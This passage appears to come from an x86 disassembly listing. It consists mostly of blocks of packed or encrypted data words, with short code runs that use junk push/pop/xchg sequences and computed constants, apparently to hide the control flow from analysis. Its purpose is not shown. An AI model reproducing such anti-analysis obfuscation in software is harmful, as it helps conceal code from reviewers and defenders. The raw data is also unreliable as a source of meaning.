1F59Bh, 4642B400h, 0A9EDE958h dd 109C5C2Dh, 7A40B78Ah, 0A2F0ED5Ch, 0D7E88F24h, 0F729826h dd 69D8C6CCh, 0DEA32F73h, 4F779319h, 0CA09136h, 0C71F9F0h dd 276D6ECEh, 8111C6BBh, 8431545Ah, 0AE85434Fh, 5BA2E8EFh dd 662CAF12h, 4AF5D607h, 0B5FC0F8Dh, 0FFAE824h, 5E6F7B04h dd 4C7CE613h, 0D83FD324h, 0F27793C8h, 0B338B865h, 0BA3D12A4h dd 0F72CA9FCh, 0F46E6BD6h, 27D0300Dh, 0B8D11A61h, 8623E076h dd 0FC18AAD5h, 8DFA370Ch, 0A29C817Eh, 0D9126937h, 0B25CFD6Ch dd 5D01FAD3h, 1C64073Ah, 0E7B6FC0h, 5D2913FFh, 397EE811h dd 0E459E6D2h, 46719DCAh, 0D572F5D9h, 4188BE5h, 0F4746427h dd 9DF74CA0h, 0A2F93660h, 60F727F5h, 0D603C7A0h, 0A7DA91F5h dd 10A9F7E4h, 8F0DCA75h, 8074367Ch, 74EBDF44h, 3E98E3D3h dd 0C999320Ah, 0A8DB9AC5h, 86FBE75Ch, 71304B51h, 30E869CEh dd 4239EDBEh, 4AD1DD1Fh, 43B9B801h, 5FC22C7Fh, 0F6D7DD1Ch dd 0CD0A784Ch, 0B08C3CFh, 7F872027h, 96105C49h, 2885B613h dd 0E75CEB90h, 0E71053AAh, 0F27C5AA1h, 695DC202h, 514951F6h dd 0E3581672h, 7B6FF4E7h, 43C245C4h, 722175E6h, 76D7ACE1h dd 0E17221C5h, 3D86271Ch, 1F6BC717h, 0B739A2E5h, 3CAEB4E1h dd 1DAE1B9Bh, 0E86BB289h, 5C2DA9EFh, 878E1D9Bh, 0EFB2A304h dd 1463DF4Bh, 9B719403h, 912AC371h, 90F448h, 0CF8E3300h dd 0F17A810Dh, 28966EE8h, 9CEDE9AFh, 47CE5D5Bh, 282F23D2h dd 0B4518CB2h, 0DD27B48h, 24D9EC1h, 0FB6D5D3h, 39B8C3C7h dd 11ADF8BEh, 4199DFD7h, 16C32F07h, 0EF6E9190h, 968B094Ah dd 0DA63D8B6h, 0B6968B99h, 4C8CF348h, 17B02540h, 0C3C90E73h dd 19DF1D5Ch, 968BBFB0h, 0AC1956B6h, 0A0CB1C59h, 0DC1h dd 7ADF5E00h, 0B6968BF9h, 0BC8A5328h, 686E9DA7h, 6196D92Ch dd 5B81C05Bh, 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh dd 19C1009Bh, 7CF7695h, 68F27883h, 5706h, 68240489h, 0EFFh dd 68243C89h, 0F8Eh, 56243489h, 0C3FD368h, 0E6815E75h dd 3945D3Ah, 0EE81D6F7h, 32F2575Dh, 2D79B850h, 0D0F76034h dd 0B53B3B0Dh, 0D0F7485Fh, 4B7E280Dh, 66990545h, 0C62960D5h dd 5EF78958h, 8904EC83h, 4812424h, 424h, 89505E00h, 468F50F8h dd 34FF5808h, 0C4835E24h, 2434FF04h, 4C4835Fh, 0F9C7AAE9h dd 5D6186FFh, 6359D99Dh, 0EE24AEF7h, 0B822FFD2h, 5E8B7F4h dd 0E0FFC503h, 1269720Dh, 42954101h, 414CA13Dh, 4BF120F0h dd 3FE90D04h, 4E2F70B5h, 51ADECD4h, 14635E6Bh, 5AF44DD7h dd 677BCC92h, 820C867h, 4867121Ch, 508B9B4h, 702CD80Dh dd 7239B3F3h, 2216D1E3h, 1B588587h, 1954F59Bh, 7F92654Fh dd 0D17704EBh, 0ADE95F7Dh, 0B6000005h, 0EB5E4440h, 5E23AFEBh dd 0B988169Ah, 0EF52783Eh, 8D3AA0EEh, 9E24D9E6h, 0C4CA3170h dd 2D716BDEh, 9117C0A1h, 9F384975h, 0F9F001DEh, 6ECC0E77h dd 0BD3C2369h, 18B95B1Ch, 74891FCh, 0DEFC18B9h, 3D8EE561h dd 602EAF16h, 1ED2077Ah, 18B9B8B9h, 0A51269FCh, 7A6023A2h dd 0C566D736h, 0FC18B994h, 0DDBC5E40h, 8C8ADD0Dh, 40F16B7h dd 0B0099545h, 0EA9E48B1h, 95C663AAh, 4CFC18CFh, 0CA7366F7h dd 0ED94F72Ch, 120B097Ch, 934270BFh, 845F615h, 4044B0BFh dd 473F7925h, 12B8FEFBh, 7EE1AD2Fh, 78195AFFh, 0F4C5FC18h dd 1015BF98h, 0E2FBB0DEh, 0B974524h, 48A71F0h, 675F19E1h dd 31DDE11Bh, 0FA018770h dd 18A8E19Dh, 784CFAFCh, 424DC31h, 6C733Ah, 0AE770000h dd 0B9C98A2Fh, 0A603FC18h, 0FC18B9B5h, 3C0B176Ch, 7533A4ABh dd 26FA6F16h, 0E765790Eh, 0C978C11Ah, 0DEFC18F5h, 79EE9C68h dd 0C46D183Ah, 2C5A6340h, 3A04B6F1h, 15Eh, 666E6000h, 0CF58DB22h dd 324CD0EFh, 4DF4D5B4h, 77FE0D89h, 0A3E33A80h, 35A10DF9h dd 0C65D1EBBh, 63F4FC18h, 442ADC45h, 71AE1BF0h, 0A5E31455h dd 6D6E3339h, 599DC427h, 66CCD581h, 0A11E5425h, 33BF29BEh dd 97E6EC40h, 55972F36h, 0D0E81561h, 3629662Ah, 0A0398577h dd 545287FAh, 0C2D94E31h, 867353h, 3AE770E5h, 6DD4F510h dd 3C7CFD6Dh, 0D8EBE7A7h, 0DE2D7169h, 0BE21209Dh, 96B7FBFFh dd 0FC18BCA5h, 9FA6077Ch, 84753475h, 0C9BDA506h, 4169B46h dd 6B303Ah, 6E0A0000h, 9DC4276Dh, 48CA515Dh, 13C8360Eh dd 61E0018Dh, 18B997D8h, 9E3B4EFCh, 0FC18B9DDh, 0F9C23F74h dd 83F8576h, 0BD0E9449h, 0E2A82F96h, 7FF799Bh, 4115D80h dd 5AF23Ah, 6EF40000h, 9DC4276Dh, 0E0C8535Fh, 0D8993EA1h dd 9FC18B9h, 8208CF32h, 61E9F27Bh, 2EA6E995h, 0D7367A60h dd 0D1902966h, 0A0E3662Ch, 0B4526B39h, 0EBEFAE8Eh, 1B6230ADh dd 1F0665D2h, 18B9B9BAh, 0A61368FCh, 1E9A5A05h, 0B98CA28Fh dd 5395FC18h, 13F12C63h, 15E3A04h, 60000000h, 23266A6Eh dd 0D02B7960h, 0B83B429Bh, 0A322793Fh, 0AC177634h, 0BA1B622Eh dd 6A7CC4B0h, 32A614E0h, 0EA77606Eh, 44E643C6h, 0BF01FACDh dd 0ADACAD0Ah, 0E65F9FAh, 0CE0B4AD1h, 589513C2h, 8C0ACFB2h dd 0AD611079h, 46F9FAh, 5711C634h, 9212CF35h, 147019E9h dd 902F03E3h, 26763D8h, 0DB4D7D5h, 7BFCECCh, 7465D1A5h dd 2FE2A836h, 9E3FE666h, 0E8C45709h, 8DA909DAh, 0E073FEACh dd 0F92687FCh, 1BEh, 0E152F776h, 3DF9FAAAh, 0C2E4C83Bh dd 92E975B5h, 0EFAE7D49h, 2019A2E8h, 59180F23h, 3E59C49Eh dd 182A8FD2h, 14971AA3h, 0DAB12783h, 0CE0F9E1Ah, 2D0AC64Dh dd 8FF339Ch, 591601FAh, 505683C2h, 8402F74Ah, 0B3F9FE61h dd 67F1E968h, 0FA4491C2h, 0BEEB40F9h, 0A9F7E46Fh, 0F8CC7A52h dd 104D4B8Ah, 0DE6C58E2h, 0C853579Fh, 3A3B9C83h, 0EBF9FA44h dd 0D3044B9Ch, 8E43C9D5h, 3D3FE710h, 90h, 0BEFCFBBAh, 7918592Dh dd 2E430A9Fh, 329FBD78h, 18EB2829h, 5F82F9FCh, 418A119Dh dd 5921514h, 896ED2C5h, 4F72A57h, 0DDEE6FBEh, 18651374h dd 72F542FCh, 65E556F3h, 473CFC18h, 0C354DF66h, 0DE7B31C6h dd 0FC18089Dh, 0E15EFFB4h, 7E7FA23Bh, 4760D530h, 185E7DFEh dd 8E4FFCh, 357D7AE5h, 7F8EFBC7h, 3F817537h, 0B52467AAh dd 0A094DEEFh, 16093D24h, 81E4A257h, 0AB0C7354h, 0FC185E7Ah dd 870BF1B0h, 0B0D6F764h, 0AF8ADFFBh, 0B0000000h, 0D0577B18h dd 0FAD2E777h, 3A413E01h, 0C9783EBBh, 7F485486h, 9B21D6ABh dd 0A30D2700h, 0D352F9FAh, 0A7EB1150h, 5361744h, 0DCF9FAA3h dd 0F522706Dh, 2C9A6AD4h, 0F6E1EDABh, 55C24569h, 0E9138838h dd 2A8FB29Bh, 0F9FA2C29h, 0F73A83F8h, 0E3E7AA52h, 5684E507h dd 0DBDF174Ah, 23D41F6Eh, 2063E265h, 0E253F4B8h, 0E8F7D3F7h dd 2A7A3F1h, 0D3F7B4A5h, 0D9166DF7h, 0FA6500h, 0EEE669BCh dd 0CF7953AAh, 3F3981F7h, 0A6808D47h, 5102A733h, 80F7D3F7h dd 1E017EABh, 9618DC9Fh, 8ECF5E62h, 0EF5E3851h, 0FB471CCDh dd 989399E2h, 453209CAh, 7B189359h, 0D1109E5Dh, 0D5066529h dd 4440E998h, 8B020172h, 60D176h, 706AF9F0h, 0F69CD92Ch dd 0B6394CB9h, 2A5F7B41h, 9BA480BDh, 3495B012h, 0BFCECC0Dh dd 465804D2h, 71450753h, 0C8D6D405h, 0E33A8079h, 0B7FBE1A0h dd 0F35C78A6h, 10A9EF1Eh, 85E0A651h, 0F743333Dh, 2B1E8402h dd 0B29DE8AEh, 12h, 0C0C43073h, 26A703E7h, 0B95102A7h dd 0AB80FC18h, 686E5412h, 6196D92Ch, 5B81C05Bh, 4E8D3457h dd 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h db 83h, 78h, 0F2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 50F0h mov [esp], ebx push ecx push 5B5F5DCBh pop ecx sub ecx, 5576A4F3h mov edx, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push 61F0h mov [esp], edx pop dword ptr [ebx+8] push dword ptr [esp] pop ebx add esp, 4 mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dw 1449h dd 347A839Ah, 58804D60h, 0E8BDF4B8h, 0FFC50305h, 9430FAE0h dd 974CAB4Dh, 20F0AA02h, 8D0DFA51h, 2AC32436h, 0D69FBA5Ch dd 86A1863Dh, 0EB7B7012h, 4D0C8522h, 7A8D2529h, 40B8366h dd 648D6F08h, 0D4B4927Fh, 32802F79h, 0F0147227h, 3ED49B1Eh dd 0F5A2885Fh, 0B37AAB44h, 0ABAE03Fh, 56B46D1Dh, 978D8D69h dd 6A05E8BFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 2AD9C350h, 53CDBC01h, 68D0Fh dd 0CE810000h, 1D2F200h, 0E98D895Bh, 5305E20Bh, 14C59D09h dd 0C75A05E2h, 0E2076185h, 74CC05h, 0FB8B6600h, 1B5585C7h dd 5E2h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0ABA8F6C3h, 0F302F40h, 1A80h, 14E800h dd 1A7B0000h, 99003DD1h, 0DEC3B78Dh, 15B0850Dh, 0D6A5CC6Ah dd 0FF5F396Bh, 0E22361B5h, 0C1B58B05h, 0FF05E214h, 0E20B1595h dd 69C88105h, 6A30B157h, 0B995FF00h, 8B05E20Ah, 9C28EBC0h dd 91358DD7h, 481403Dh, 60853D74h, 0F65A21B4h, 2CCCC3EDh dd 0D1F7ACA1h, 3C288310h, 4E8B917Bh, 1F1FBFCDh, 0E85BB1BFh dd 11h, 0A250D922h, 9131C54h, 1CC19056h, 12B8010Eh, 8C0F03h dd 5B000000h, 8C3C73B8h, 83C3811Bh, 0E9000064h, 8, 0F9096CCCh dd 3AC74DB1h, 68h, 0DF816600h, 0B8591172h, 3AF477CCh, 0F1934FFh dd 188h, 8B5AF800h, 0E215C5B5h, 0B2F28105h, 663CB739h dd 0C69CD881h, 0BCB3F281h, 12E9201Bh, 0D2000000h, 1C018A8Ch dd 59CD984Eh, 691AA3FFh, 390FD3F4h, 0C1F28145h, 3143AAB3h dd 0E2051D95h, 0B148905h, 0AE9h, 0E56A8400h, 0E4AB1C4Ch dd 895DEA1Fh, 0E20D2185h, 4E98305h, 81F88B66h, 0FF9C28F9h dd 91850FFFh, 0C6FFFFFFh, 0E20A4985h, 0DF685605h, 0FFA9C530h dd 0E216A1B5h, 61858D05h, 0FF05E57Ah, 598D8DD0h, 5105E218h dd 0B5FF406Ah, 5E20879h, 0E99B5FFh, 0D0FF05E2h, 879B5FFh dd 0B5FF05E2h, 5E20E99h, 13E8h, 0AAF61100h, 1B28B887h dd 2CC01098h, 0E4250CB5h, 0A4A134A1h, 0EA835A5Ah, 242CC104h dd 2424C102h, 24140302h, 2B241CF7h, 0A048BC9h, 9EC3E881h dd 0F081786Ah, 5B6CFF5Dh, 4777C081h, 8F502FE3h, 0E9830A04h dd 0C3B4903h, 0DA850F24h, 8DFFFFFFh, 0E206959Dh, 0B038B05h dd 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h, 0EE8h, 36584200h dd 3D0438A5h, 26CE9515h, 0E8958EEAh, 5, 23C01AAh, 0CFB70F46h dd 860F5B59h, 6, 82B86652h, 0C3815831h, 6100h, 0D23341B1h dd 0CE9h, 6C7500h, 78EFD23Eh, 1FB27A69h, 133C8BE8h, 0A0F6F781h dd 56506026h, 0FE8FB966h, 0C7815858h, 683F6338h, 0CF7C25B8h dd 7FEF8164h, 0F160E9Eh, 0F57CEB7h, 180h, 48FF500h, 0BF0F6013h dd 0AE9DEh, 0A88F0000h, 33CF275Ah, 5842E9FEh, 0A6BE6661h dd 4EA832Bh, 58CE8B51h, 9FDCFA81h, 850FFFFFh, 1Dh, 3810Fh dd 8B660000h, 33E9F3h, 45030000h, 21B7AB8Dh, 0EA9BC47Bh dd 3B4782A1h, 0AAB860EAh, 0F494005h, 281h, 61F08B00h, 0FFFF74E9h dd 0EA18C7FFh, 0ADD61F80h, 9146B24Bh, 4B0DFCA8h, 0CE852h dd 2C1E0000h, 0F8D7217Bh, 0FFC8AE73h, 665AB218h, 814C3ABBh dd 6D01C2h, 0EF805000h, 0FF335B8Ah, 0A1C88166h, 1734FFF8h dd 5B59B353h, 1DB86659h, 4EF1812Ah, 600897DCh, 0AE9h, 0AC9FFF00h dd 0E280F755h, 667BB00Bh, 61D1C3BBh, 2645C181h, 0B3B34A2Eh dd 2EAC181h, 7E85DE0h, 0FC000000h, 0ED572A5Fh, 8E8429Ah dd 2D000000h, 5A0556A4h, 0F61B3D2h, 8Bh, 89585800h, 5E93A0Ch dd 92000000h, 0FF5264BAh, 9B51BB66h, 561BEF81h, 0C7817BBFh dd 7BBF5617h, 93C0FF81h, 850FFFFFh, 10h, 1CE9F0B0h, 0FD000000h dd 0A83BBDB0h, 6D31D76h, 0A7DB8166h, 0FF67E9ABh, 1F7AFFFFh dd 0F32BE720h, 8D4ACC41h, 0E8C3808Dh, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 891DE820h, 0E20BE98Dh, 0E9F78A05h, 0Eh, 1142F860h, 4F66362h dd 48BC66E3h, 85C7201Ah, 5E20761h, 6070h, 0C7FEBF0Fh, 0E21B5585h dd 5, 6830F00h, 8B000000h, 0E23335BDh, 0CDB5FF05h, 6005E22Ah dd 3139B589h, 0BF0F05E2h, 0ABB61F1h, 0FF51CBDCh, 0E20B1595h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0FA062203h, 0C2D01088h, 0EE8129C7h, 7C318F88h dd 95FF006Ah, 5E20AB9h, 59EBC08Bh, 23D6ADC3h, 542036ADh dd 3CE2439Ah, 811804F5h, 0CA8F57ACh, 4E586A39h, 78410BCh dd 3BEE3F34h, 698E36A3h, 0A38CC120h, 7115B111h, 8C09B948h dd 0E5879DEBh, 0D4E4C2C7h, 6BB16FB8h, 7FF99F72h, 68894B72h dd 0FFABF5EDh, 98C2B3C5h, 0C366151h, 85FF6B1Ch, 0E39AF4AAh dd 8EB9Ch, 54000000h, 0E92B46C6h, 471h, 0E8C4B668h, 0BC1DE905h dd 2568FFF9h, 0E905E8C5h, 0FFF9BC13h, 0E8C68A68h, 0BC09E905h dd 7365FFF9h, 1ED6AB37h, 0CD0D7C9Ah, 7164C5C1h, 21DAAF2Bh dd 19F87793h, 4D495784h, 2BB7FDFCh, 0F218A456h, 464C4A8Fh dd 91C2679Eh, 40F9F07Dh, 0EFAE19DDh, 125BA2E8h, 4F5586C9h dd 4C44B53Ch, 7CF90C88h, 0B3D09B07h, 0DF4FE89Fh, 6D01FADFh dd 0DEEFAD2Ah, 0CFA8F348h, 0F9FA9FB2h, 0D84F27A1h, 3FE63905h dd 2AAAAh, 770F9C00h, 0FB6E42CFh, 0FAC3D85Eh, 0C4047301h dd 0CAD60245h, 1512A8F1h, 3B58FC9Ch, 6FB71017h, 0A602BDAEh dd 0D845B2C9h, 4AD475F4h, 4508D36Bh, 0BF387BEEh, 6B6CDDF9h dd 7A92C02Dh, 2045FB39h, 30A41h, 9A1ED800h, 0CDC90D7Ch dd 347860C1h, 9E1CDBAEh, 0C6CC3170h, 0FBC4A3D8h, 5316BC02h dd 8DFC1AA8h, 0E247434Fh, 2B2BB7F5h, 7DFC7DDAh, 6815F9F0h dd 639AEA2h, 55721984h, 0BAA79029h, 59369396h, 0EB0201A3h dd 196C30A8h, 0A09F0BDCh, 0B7FDFEA1h, 0C3A5562Bh, 9F92719Dh dd 0E83368B4h, 0F1C4F58Fh, 9016C3F9h, 5BCE216Bh, 0B49FEA04h dd 29Bh, 8D098D4Bh, 567C38BCh, 3FDBE713h, 810D8B4Ah, 69753BA0h dd 716A33D2h, 17C2A723h, 0BE3C0D89h, 6495D4F2h, 4DB4B826h dd 0F07C6BECh, 33FBBAF9h, 0C9D7B18h, 2E395182h, 0DB9CADC1h dd 0AFC1899h, 0A04F1C3Dh, 30965B08h, 0F2D344FBh, 578159F6h dd 0C562AD3Eh, 201A1C8h, 96F30A61h, 0F9F11999h, 0AF088B8Ah dd 0F9F119AEh, 0B7BF0867h, 0AF9548BFh, 803A3FEDh, 0C000001h dd 0B129696Eh, 0EA55B0EDh, 2FB8AFEDh, 26B20EC5h, 7614B565h dd 75F4D845h, 0D32C9CE4h, 0CF182A8Fh, 6F13E740h, 3D0A01FAh dd 0F6E4A7EEh, 3B7034A0h, 9526BE0h, 0F9FA6C74h, 9215E167h dd 3FE6E43Fh, 4EECh, 7B18D600h, 891C9A5Dh, 9110174Ch, 0E908BA78h dd 5A66009h, 0FA02BABCh, 0F5C25501h, 0A088BAA0h, 0D00D894Dh dd 9E01009Bh, 0FAEA3839h, 0C4C832F9h, 7FD8E15Eh, 0F9FAEAC2h dd 939F97D1h, 0C31E6806h, 0B8017356h, 0E6D34F82h, 0AAFC3Fh dd 6EC60000h, 99D82369h, 2339464h, 0D3FC18B9h, 95DC2F64h dd 9CC72664h, 6B2A5D5Bh, 932F286Eh, 6F55E0E5h, 0A225E1FAh dd 0FC180AEBh, 224E18C1h, 7E641D92h, 0EFE8F623h, 58DB4E62h dd 42D9DD19h, 4557B009h, 5801FD0Ah, 0C03D7CE3h, 6895D4F2h dd 38D1DD5Ah, 0C7A20460h, 1367Ch, 0B6F2E400h, 199D5928h dd 404C8CFDh, 0AAF0E75Ah, 12A05D2Ch, 7987FF4h, 7FC2C8D6h dd 0D9A8367Ch, 0E739F23h, 1FC7C3C9h, 7F1041E6h, 5CC1F9F0h dd 2D6D6E9Eh, 5398E3AFh, 5089F8E6h, 0BA3D4C4Ah, 18B95C1Dh dd 0C762F5FCh, 8127ACCDh, 0B076578Ch, 0D823696Eh, 0EF866099h dd 66FBBC2Dh, 540783F8h, 0C3641BCFh, 1FB7F6Ch, 0F4B7AA81h dd 0CA1DB907h, 0F9FA7EB5h, 4E545287h, 41B602FBh, 0E4078B71h dd 0B6E33A77h, 53BC3ACFh, 6EDB101Fh, 0A5341Fh, 184E0000h dd 77D0577Bh, 2017DE6h, 0F8D4A3Fh, 1B3AAFD2h, 85D0007Ah dd 0C0032AB3h, 34759117h, 0D9A6C5C3h, 2F2E5C27h, 42D9E515h dd 0B1D4DA03h, 45BB8BCDh, 43AF87C1h, 0B78A1096h, 42C54442h dd 8E1374E5h, 0F5D6ADC8h, 0AAF0E76Eh, 0A6EA1053h, 0D3D91C47h dd 0B480CA48h, 13302186h, 8AE1C88Eh, 45048D5Dh, 73F20995h dd 6BE03B87h, 0D1A5AD3Eh, 0A9F7E2A5h, 81C01952h, 6C2F5258h dd 0FBFE216Fh, 0C4E556B5h, 307663C6h, 198AD5h, 0A7B00000h dd 0E8726726h, 0E1E275A1h, 8E1D4A36h, 42312287h, 8BE0FC18h dd 6EB98D5Eh, 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh dd 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h dd 288668h, 240C8900h, 3FC768h, 24148900h, 769068h, 24048900h dd 33A6B951h, 0D1F776E3h, 8106E1C1h, 5D3507C9h, 0C4C1810Bh dd 51B6698Ch, 8B54595Ah, 0C4812404h, 4, 51D38953h, 8B9h dd 89C10100h, 0FF5B5919h, 83582434h, 148B04C4h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 0B7C5E95Ch, 0C2B7FFF9h dd 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0C7E5B8E8h, 0C50305E8h dd 0BBB9E0FFh, 26E212CBh, 158A0212h, 900749AAh, 4EA0212h dd 62D5217Ah, 4ED656ABh, 0E01B4222h, 14BE56CDh, 19AA7BC8h dd 0E81F1DA6h, 66501689h, 21082308h, 66370D4Ch, 79076AB1h dd 1FF15549h, 0F89440B4h, 691C4CC9h, 5E531250h, 0F4A67CC7h dd 600B0708h, 0AED45165h, 645170F9h, 0A9254FCBh, 0DF577BDEh dd 10CE7642h, 73907033h, 0C0294032h, 12E82418h, 49000000h dd 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h, 59F08BA1h dd 0B194C381h, 0C1814F46h, 65C4h, 4BB85F53h, 0B7000019h dd 0F118B4Fh, 8Bh, 0BDC28100h, 0E917991Ah, 12h, 63A16D1Fh dd 0A3B54DFFh, 0DAE60B48h, 551F55A4h, 0F2813A98h, 71891D4Dh dd 18A0Fh, 81F50000h, 81FBFBC2h, 74ECBB65h, 118929FEh dd 0AC9DBE66h, 4902E983h, 1E88349h, 0F850Fh, 1CE90000h dd 0A2000000h, 4BF58D17h, 2151D85Ah, 1CCF81CDh, 0E96E440Eh dd 0FFFFFF95h, 0F433CD7Ah, 0E8A2F1ADh, 5, 53678D6h, 0D9BF0F7Ah dd 81F98B5Ah, 66BDC2h, 89BB6600h, 0E8C02B03h, 0Ch, 5AE35895h dd 9CB096C0h, 86B150DEh, 34FF5FF8h, 0A5B96610h, 8B665EFEh dd 7AC681FBh, 0E834E89Fh, 9, 0EAD0883Ah, 84A3D108h, 0B0D38168h dd 5B475028h, 86FEE81h, 820F28E9h, 0Ch, 7E9h, 0AA22FF00h dd 6215780Bh, 4563EE81h, 89F9078Ah, 66560234h, 594B6BBFh dd 83D8BF0Fh, 9E901E8h, 0D0000000h, 29B928D6h, 0BF13471h dd 0BB484848h, 5687CB19h, 99F8F881h, 850FFFFFh, 0FFFFFF8Ah dd 14E9h, 0EFF2B200h, 76588218h, 41A9C64Dh, 20C8D92Ah dd 0B0702BF6h, 3104EB56h, 0E977474Dh, 52Eh, 0E1EDA92Fh dd 4A505480h, 13BF03F7h, 0E5E1A72Eh, 4D495784h, 8D4E4F36h dd 33A69B07h, 0DA00616Dh, 8079C8D6h, 51D09C3Ah, 0F0734708h dd 57979EF9h, 0D823696Eh, 94826499h, 589718Ch, 79E475E6h dd 0D5F12E83h, 0ACEF6394h, 95C6672Dh, 97FC18D7h, 8ECF5E64h dd 0C2187780h, 52598177h, 125DA8E5h, 2C4C7BE5h, 8DBEFAD3h dd 8E1D9B5Ah, 8AF5104Dh, 0CDADAE0Bh, 0DA7FFC18h, 0FC18CD99h dd 1857F348h, 0EDB5AE7Fh, 724BE56Ch, 64907CFh, 3BB0CBD1h dd 18B73122h, 1D5EFBFCh, 34FC18B7h, 6C6ED37Fh, 6FBEEB20h dd 25916527h, 99E8F6B4h, 0CEB35F63h, 0FA65800Ch, 0CF8EB1FFh dd 133A8307h, 4DB98DB7h, 0A287038Fh, 4B147735h, 0FC18B737h dd 47CABA2Ch, 3A04218Ah, 5E21h, 696E0500h, 0C07FD823h dd 0E7FC18B9h, 70E99561h, 5B95CDAh, 45E1FA30h, 3A041488h dd 127h, 666E1B00h, 9CEFAD28h, 0FC7FE25Fh, 18B91A5Bh, 0D7CCBFCh dd 3EBFCECCh, 975F86ADh, 8E498813h, 8672FD08h, 7860E33Ah dd 4107D134h, 0CDD10975h, 42C03DBEh, 16DE2C18h, 0C4357492h dd 6E12D8C6h, 0B720276Dh, 57881C7Bh, 88933401h, 0F2098D49h dd 600EE640h, 63F4BA21h, 1D20394Bh, 36398256h, 785F23C5h dd 5ACDCD14h, 0BB3B7AEDh, 8938EEFFh, 72890FC6h, 7861E0F9h dd 7068EB32h, 0F6B7D92Ch, 0DD61D277h, 0FBB0FC18h, 58C78E2h dd 3A0475D8h, 0C5C33275h, 6FBFE4h, 6E830000h, 9DC4276Dh dd 48CA515Dh, 13C8360Eh, 61E0018Dh, 18B997D8h, 0E8F14EFCh dd 0DF2E7469h, 0A5E11554h, 8DB41546h, 97394C4Ah, 0FF226551h dd 4C3A0411h, 71h, 276D6E76h, 7DDA5DC4h, 0FC18B9FCh, 2339415h dd 0D3FC18B9h, 0C2E2F64h, 0B80F7709h, 0A25807A0h, 6CD9E714h dd 9E22D619h, 8B11C40Fh, 7C483270h, 0CABAAC04h, 95317F7Ch dd 22666EAFh, 0D7CF58DBh, 0C72F64C0h, 0AE5C73E4h, 0CCBDFB33h dd 0CA9C92FBh, 4385FC18h, 86E13C73h, 0D4C3A04h, 5E9ACDC9h dd 0A048952h, 85000000h, 0D5367E14h, 4566FB11h, 2C6A6E61h dd 54B7ECA8h, 0BBAEECEDh, 2CBD03F8h, 901CDE01h, 810FCA75h dd 0E2D29C7Ah, 32024C9Eh, 0E54214C4h, 0FC18B974h, 7D99D6ADh dd 4EF1D57Ah, 6AEB4CCFh, 0BBFC18B9h, 5E5C9DCCh, 0D43D8ECFh dd 1FACD52h, 2C97F64Dh, 80E1EDABh, 0B92E5157h, 0DB52D9D1h dd 797DACF0h, 5C6DEE3Dh, 0FBD96831h, 0D88EF9FAh, 53599EECh dd 867332B7h, 961CC100h, 7AE5C677h, 65EC3F7Dh, 5FD73674h dd 1CDD291Dh, 0D70A709Eh, 743FE655h, 11Eh, 7B49B2F5h, 97D86120h dd 4EF9FAF7h, 472384F1h, 0A3E7EFAEh, 83C211Ah, 0DF42B019h dd 198E01FAh, 0EB4281A1h, 0ABFB9C2Ch, 599F0B6h, 0F6018526h dd 27AF2E0Eh, 0BAD31863h, 46B3E33Ch, 7D3BBC27h, 0A1E71051h dd 0D8DE1B5Ah, 0DED8024Dh, 0C7269319h, 0ED80589Ch, 0B1B84EC9h dd 319BE25Fh, 0B5F93F37h, 2F74333h, 0BD101E84h, 123FE643h dd 34h, 55791854h, 0B91475D2h, 0F64DFC18h, 0B989CA97h dd 79E1FC18h, 3ABEE18Dh, 0F59C5576h, 0B9BDBE1Bh, 1F54FC18h dd 891ABFA2h, 38FC18B9h, 7B024743h, 38000000h, 768B7B18h dd 0ACA9CD19h, 0C96E114Eh, 1FA55A9h, 79F80378h, 6D9C3A80h dd 3F2A68FCh, 6344157Bh, 8ABDFBFCh, 7B8210CBh, 464C8FF2h dd 0E15B627h, 0FA740B21h, 261E48F9h, 67931FD8h, 0F7E0EE5Bh dd 80C3466Ah, 0EBEE5157h, 1A9D04A5h, 7912A05Bh, 2EDA8249h dd 73DCED91h, 7E31336h, 4AF5106Fh, 12FC0F8Dh, 0FB985C28h dd 0B2F750D7h, 0EB09CAD9h, 699CCA40h, 82FF3D60h, 39AE5E04h dd 0B60AED19h, 0BB7455F2h, 2A8FB296h, 2017CDDh, 23696C2Fh dd 0DC4A93D8h, 1CDD0467h, 0C831709Eh, 528F0DC8h, 0F5D86ECBh dd 0EFE86B21h, 0EA1352A9h, 0F17741A4h, 0A8FB305h, 0B902904Bh dd 8079C5B1h, 2CAD9C3Ah, 0CB7448B2h, 40BDBADAh, 53599EC1h dd 7560E38Ah, 400AD437h dd 0CBD10674h, 0E37D7ACFh, 0F3575F20h, 168B8C85h, 33012D78h dd 77F669A6h, 814961D2h, 52FBB084h, 73F9B656h, 0B4DFE8FDh dd 0D00B4ACDh, 8DF879C2h, 52298481h, 32689h, 0A75C0000h dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h dd 4C281E2h, 83000000h, 148704EAh, 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 3FEh mov [esp], esi mov esi, 5E8CA41h mov edx, esi pop esi push esp mov ebp, [esp] add esp, 4 push eax mov eax, edx push edx mov edx, 8 add edx, ebp mov [edx], eax 